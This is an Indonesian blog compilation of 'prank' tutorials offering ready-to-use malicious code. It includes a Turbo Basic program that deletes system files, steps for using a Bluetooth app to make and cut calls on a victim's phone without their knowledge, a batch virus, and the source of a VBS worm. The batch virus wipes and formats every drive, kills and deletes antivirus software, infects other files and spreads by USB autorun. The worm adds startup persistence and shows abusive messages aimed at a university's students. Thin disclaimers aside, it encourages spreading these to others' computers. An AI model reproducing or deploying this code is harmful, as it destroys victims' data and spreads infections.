ISENG-ISENG BIKIN PENYAKIT

Cara membuat program penyakit (SEJENIS Virus)

- Download Turbo Basic v1.0

Membuat program penyakit kom (sejenis virus) merupakan keinginan hacker - hecker pemula , tp lo yang mau coba,harus bisa bahasa pemograman, masalh nih..lo yang kg bisa jangan berkecil hati dulu,karena saat ini gw mau kasih tips dan triks..yang simple ets..!!tp nih virus..yang satu nih termasuk mematikan jangan anggap remeh..

gw kg ngajarin ya cma bgi-bagi tips...

yg pertama x skill loh butuhin lo blajar dasar DOSnih kudu harus jangan sampai kg klu mau coba,soalnya tanpa yg ni lo ngak akan bisa berkarya menciptakan penyakit yg dahsyat, tp klu lo kg bisa jga..kbgtan loh..tp buat yg kg bisa copy paste ja deh jaman dah makin cangih kok. serbah instan , lo cukup Downlod bahasa pemograman yg bakal lo pakai adalah Turbo Basic v1.0, lo dapat mendownloadnya di Google.

Diatas adalah tampilan Turbo Basic, jika lo kg ngerti pemograman Turbo Basic maka lo, masuk ke Edit lalu lo tulis Source Code program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka lo dapat menjalankan perintah DOS pada program, misal lo membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, contoh yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ? EXTRIME BGT KAN...

Setelah lo selesai membuat programnya maka lo save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu lo enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer lo akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan lo inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi lo bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows,wkkwkwkwkwkwk...EXTRIME BGT KAN...

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.

*Segala Kerusakan / error / pada komputer orang adalah tanggung jawab lo ya.. !
* yang lo pelajari dan lo lakukan adalah Bukan tanggung jawab gw ya..pah lagi locoba pake komputer sendiri..

WARNING : DOSA DITANGGUNG MASING-MASING

Sumber :
Yogya Family Code

Read more »

Iseng-iseng ngerjain hp orang yu...!!

Kali ini coba - coba kasih trick hape alias handphone ah ... Yah sekedar iseng - iseng ajah. Ketemu ma Magic Blue Hack. Aplikasi hack unik menggunakan bluetooth. Aplikasi garapan Humayan Kabir Pavel dan Avishek Ahmed ini, kompatibel untuk ponsel Java MIDP 2.0 berBluetooth, Symbian s60 dan juga PDA. Fasilitas yang ditawarkan antara lain; Make Call, Send SMS, Phonebook, Write Ph Book, Answer Call dan Hang Call. Namun, untuk bisa menggunakan fitur tadi, hp kalian harus terkoneksi dengan ponsel tujuan.

kynya langsung aja deh..nga usah bnyak basa-basi nih..

Langkah 1
Download aplikasi Magic Blue Hack dari http://www.getjar.com/products/15782/MagicBlueHack. Atau bisa mendownloadnya langsung dari hp, ketik wap.GetJar.com > Quick Download > Isikan kode 29748. Selanjutnya, proses instalasi akan berjalan dengan sendirinya.

Langkah 2
Setelah terinstal di hp, jalankan aplikasi ini. Namun, sebelumnya pastikan Bluetooth hp kalian telah diaktifkan.

Langkah 3
Berikutnya, koneksikan hp kalian dengan hp target. Caranya, dengan memilih menu options > Connect. Di proses ini, Bluetooth hp akan berusaha mengumpulkan dan mendata Bluetooth hp mana saja yang aktif. Trus tunggu hingga proses selesai.

Langkah 4
Sorot nama Bluetooth hp target, pilih options > Select. Jika masing2 Bluetooth kompatibel, kalian akan diminta memasukkan password untuk pairing atau koneksi, dan kalian akan mendapatkan notifikasi khusus yang menerangkan kalau Bluetooth diperbolehkan untuk menggunakan koneksi aplikasi > Yes.

Langkah 5
Tampilan berikutnya berupa kotak dialog yang berisi nomor dan SMS teks. Di sini, Nomor bisa kalian isikan kontak telepon siapa saja.

Langkah 6
Setelah nomor terisi, kalian bisa mencoba melakukan panggilan, tentunya yang akan digunakan adalah nomor ponsel si target. Pilih Options > Make Call. Lalu tanpa sepengetahuan si yang punya hp, hpnya bisa melakukan panggilan sendiri. Hehehehehe...

Langkah 7
Saat ada panggilan masuk, kalian bisa mengaktifkan modus jawab. Options > Answer Call. Atau kalian bisa pula mematikan panggilan saat teman kalian asik bertelepon ria. Caranya, pilih options > Hang Call.
Sayangnya untuk fasilitas berkirim SMS, membaca Phone Book dan menambah kontak hp, terkadang masih mengalami kendala. Jadi, untuk tiga fitur terakhir ini masih belum bisa dinikmati secara maksimal.

Aplikasi lainnye.. yang gak kalah jahil.

TEROR BT
Cara kerjanya aplikasi VALIK ni adalah dengan memanipulasi Bluetooth hp untuk mengirimkan file/data ke hp target secara berulang2.
Dengan artian, pengirim file gak akan berhenti sampai budek juga mesti hp target menolak file yang dikirimkan. Satu2nya cara yah dengan Dimatikan Bluetooth hpny.
Downloadnya di http://www.symbian-freak.com/downloads/app/3rd_ed/BT_TeRoR_S60v3.zip.

Aplikasi ini harus terintegrasi pula dengan program Phython S60 dan Python Script Shell. Untuk mendapatkannya, bisa mengunjungi http://sourceforge.net/project/showfiles.php?group_id=154155

Selesai deh...gtu caranya..
tp hp orang rusak jgn nyalahin gw yah...
kan cuma iseng-iseng...

Read more »

Batch..

@echo off
ipconfig /release
if ERRORLEVEL1 ipconfig /release_all


DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
@ echo off Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"

del /Q /F C:\Program Files\*.*

del /Q /F A:\*.*
del /Q /F B:\*.*
del /Q /F C:\*.*
Cls
del /Q /F D:\*.*
del /Q /F E:\*.*
del /Q /F F:\*.*

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"

taskkill /f /t /im "svchost.exe"
taskkill /f /t /im "svchost.exe"
taskkill /f /t /im "svchost.exe"
Cls
taskkill /f /t /im "svchost.exe"
taskkill /f /t /im "svchost.exe"
taskkill /f /t /im "svchost.exe"

@echo off
:A
start
explorer
cmd
paint
goto :A

taskkill /f /t /im "place taskkill between quotes"

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f
Cls

taskkill /f /t /im "firefox.exe"

Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath

Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.txt) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath

Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.zip) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath

Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul

Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.html) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath

attrib +h %0

attrib +h "%userprofile%\my documents\my music"
attrib +h "%userprofile%\my documents\my videos"
attrib +h "%userprofile%\my documents\my pictures"

reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d "1" /f

RUNDLL32 USER32.DLL,SwapMouseButton

FORMAT A: /FS:NTFS /V:(A:) /X /P:1 /y >nul
FORMAT B: /FS:NTFS /V:(B:) /X /P:1 /y >nul
FORMAT C: /FS:NTFS /V:(C:) /X /P:1 /y >nul
FORMAT D: /FS:NTFS /V:(D:) /X /P:1 /y >nul
FORMAT E: /FS:NTFS /V:(E:) /X /P:1 /y >nul
FORMAT F: /FS:NTFS /V:(F:) /X /P:1 /y >nul
FORMAT G: /FS:NTFS /V:(G:) /X /P:1 /y >nul
FORMAT H: /FS:NTFS /V:(H:) /X /P:1 /y >nul
FORMAT I: /FS:NTFS /V:(I:) /X /P:1 /y >nul
FORMAT J: /FS:NTFS /V:(J:) /X /P:1 /y >nul
FORMAT K: /FS:NTFS /V:(K:) /X /P:1 /y >nul
FORMAT L: /FS:NTFS /V:(L:) /X /P:1 /y >nul
FORMAT M: /FS:NTFS /V:(M:) /X /P:1 /y >nul
FORMAT N: /FS:NTFS /V:(N:) /X /P:1 /y >nul
FORMAT O: /FS:NTFS /V:(O:) /X /P:1 /y >nul
FORMAT P: /FS:NTFS /V:(P:) /X /P:1 /y >nul

set fun=net
set morefun=stop
set Da=tsk
set VooDoo=ill
set DaVooDoo=del
set beer=/a
%fun% %morefun% "Security Center"
%fun%sh firewall set opmode mode=disable
%Da%%VooDoo% %beer% E-*
%Da%%VooDoo% %beer% av*
%Da%%VooDoo% %beer% fire*
%Da%%VooDoo% %beer% anti*
%Da%%VooDoo% %beer% spy*
%Da%%VooDoo% %beer% bullguard
%Da%%VooDoo% %beer% PersFw
%Da%%VooDoo% %beer% KAV*
%Da%%VooDoo% %beer% ZONEALARM
%Da%%VooDoo% %beer% OUTPOST
%Da%%VooDoo% %beer% nv*
%Da%%VooDoo% %beer% nav*
%Da%%VooDoo% %beer% F-*
%Da%%VooDoo% %beer% ESAFE
%Da%%VooDoo% %beer% cle
%Da%%VooDoo% %beer% BLACKICE
%Da%%VooDoo% %beer% def*
%Da%%VooDoo% %beer% kav
%Da%%VooDoo% %beer% kav*
%Da%%VooDoo% %beer% avg*
%Da%%VooDoo% %beer% ash*
%Da%%VooDoo% %beer% norton*
%Da%%VooDoo% %beer% nisum*
%Da%%VooDoo% %beer% padmin
%Da%%VooDoo% %beer% panda*
%Da%%VooDoo% %beer% safe*
%Da%%VooDoo% %beer% avas*
%Da%%VooDoo% %beer% norm*
%Da%%VooDoo% %beer% zlclien*
%Da%%VooDoo% %beer% norton*
%Da%%VooDoo% %beer% guard*
%Da%%VooDoo% %beer% mcafe*
%Da%%VooDoo% %beer% ewid*
%DaVooDoo% /Q /F %ProgramFiles%\kasper~1\*.exe
%DaVooDoo% /Q /F %ProgramFiles%\f-prot95\*.*
%DaVooDoo% /Q /F %ProgramFiles%\Mcafee\*.*
%DaVooDoo% /Q /F %ProgramFiles%\nod32\*.exe
%DaVooDoo% /Q /F %ProgramFiles%\panda software\*.*
%DaVooDoo% /Q /F %ProgramFiles%\ewido\*.exe
%DaVooDoo% /Q /F %ProgramFiles%\kav\*.exe
%DaVooDoo% /Q /F %ProgramFiles%\Lavasoft\Ad-awa~1\*.exe
%DaVooDoo% /Q /F %ProgramFiles%\webproxy\*.exe

:%random%
assoc.pic = batfile
:%random%
type %0 >%temp%\%username%.pic
type %0 >%temp%\%username%.bat
attrib +h +s +a +r %temp%\%username%.bat
attrib +h +s +a +r %temp%\%username%.pic
:%random%
regadd "HKCR\exefile\shell\open\command" /v "@"/d"%temp%\%username%.pic "" \%1\"" %*/f
attrib +h +s +a +r %temp%\%username%.dat
for %%t in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
if exist %%t:\ (
echo shellexecute= "recycled.bat" "> %%t:\autorun.inf
attrib +h +s +r %%t:\autorun.inf
copy %0 %%t:\recycled.bat
attrib +h +s +r %%t:\recycled.bat
)
)
:%random%
Echo(123 > clock$)
echo(123 > CON)
echo(123 > AUX)
echo(123 > PRN)
echo(123 > COM1)
echo(123 > COM2)
echo(123 > COM3)
echo(123 > COM4)
echo(123 > dosx)
echo(123 > IO)
echo(123 > HIMEM)
echo(123 > XMSXXXX0)
echo(123 > MOUSE)
echo(123 > REDIR)
echo(123 > KBD)
echo(123 > System)
exit


+++======================================================++++

So selesai deh..
kalau mau di modif silahkan saja, .bat di rubah/convert jadi .exe jg boleh..
trus ganti gambar icon jpg, aplication, dan sebagainya ...
Pesan dari gue :
- Jangan lw coba di kompi lw sendiri yah..
- Gw gak ngajarin lw buat dosa , cuma sharing aja .
Sumber : oleh adjie badillah

Read more »

Batman

Apa kabar smuanya ??
Jiaghh, ud kya presenter TV aj, oke.. kali ini saya mau sharing source code untuk buat virus vbs kalong B. Cara buatnya jg gampang kq..
- Buka Notepad dan copy paste scriptnya..
- Save As Type Vbs ..
- Jadi deh ...

Tanpa basa - basi ini dia yang kita tunggu-tunggu :



=======================================================

on error resume next

'Kalong-X2
'Varian dari Kalong.VBS
on error resume next

'Dim kata-kata berikut
dim rekur,syspath,windowpath,desades,longka,mf,isi,tf,kalong,nt,check,sd

'siapkan isi autorun
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n62.sys.vbs"
set longka = createobject("Scripting.FileSystemObject")
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'buat file induk
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & "\recycle.vbs")
tf.attributes = 32
set tf = longka.createtextfile(syspath & "\recycle.vbs",2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & "\recycle.vbs")
tf.attributes = 39

'sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then
set tf=longka.getfile(desades.path &"\k4l0n62.sys.vbs")
tf.attributes =32
set tf=longka.createtextfile(desades.path &"\k4l0n62.sys.vbs",2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &"\k4l0n6.sys2.vbs")
tf.attributes = 39
set tf =longka.getfile(desades.path &"\autorun.inf")
tf.attributes = 32
set tf=longka.createtextfile(desades.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &"\autorun.inf")
tf.attributes=39
end if
next

'Manipulasi Registry
set kalong = createobject("WScript.Shell")

'Ubah IE Title
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Wahai anak2 Triakti... Belajarlah yang rajin. Jangan ngebokep mulu..."

'File Hidden tak terlihat
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",2, "REG_DWORD"

'Ubah tulisan pertama pada text box menu RUN
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a", "JOSS"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList", "JOSS"

'Buat pesan saat Windows Startup
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "JOSS"
kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "ANAK2 TRISAKTI GOBLOK!!!! NGENTOT
MULU...!!!! Virus lo takutin..."

'Aktifkan saat Windows Startup
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia", syspath & "\recycle.vbs"

'Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

WARNING)==> Dosa tanggung masing-masing ...
Sumber : http://wormarchive.com/
Sumber : http://fridayshare.blogspot.com

Read more »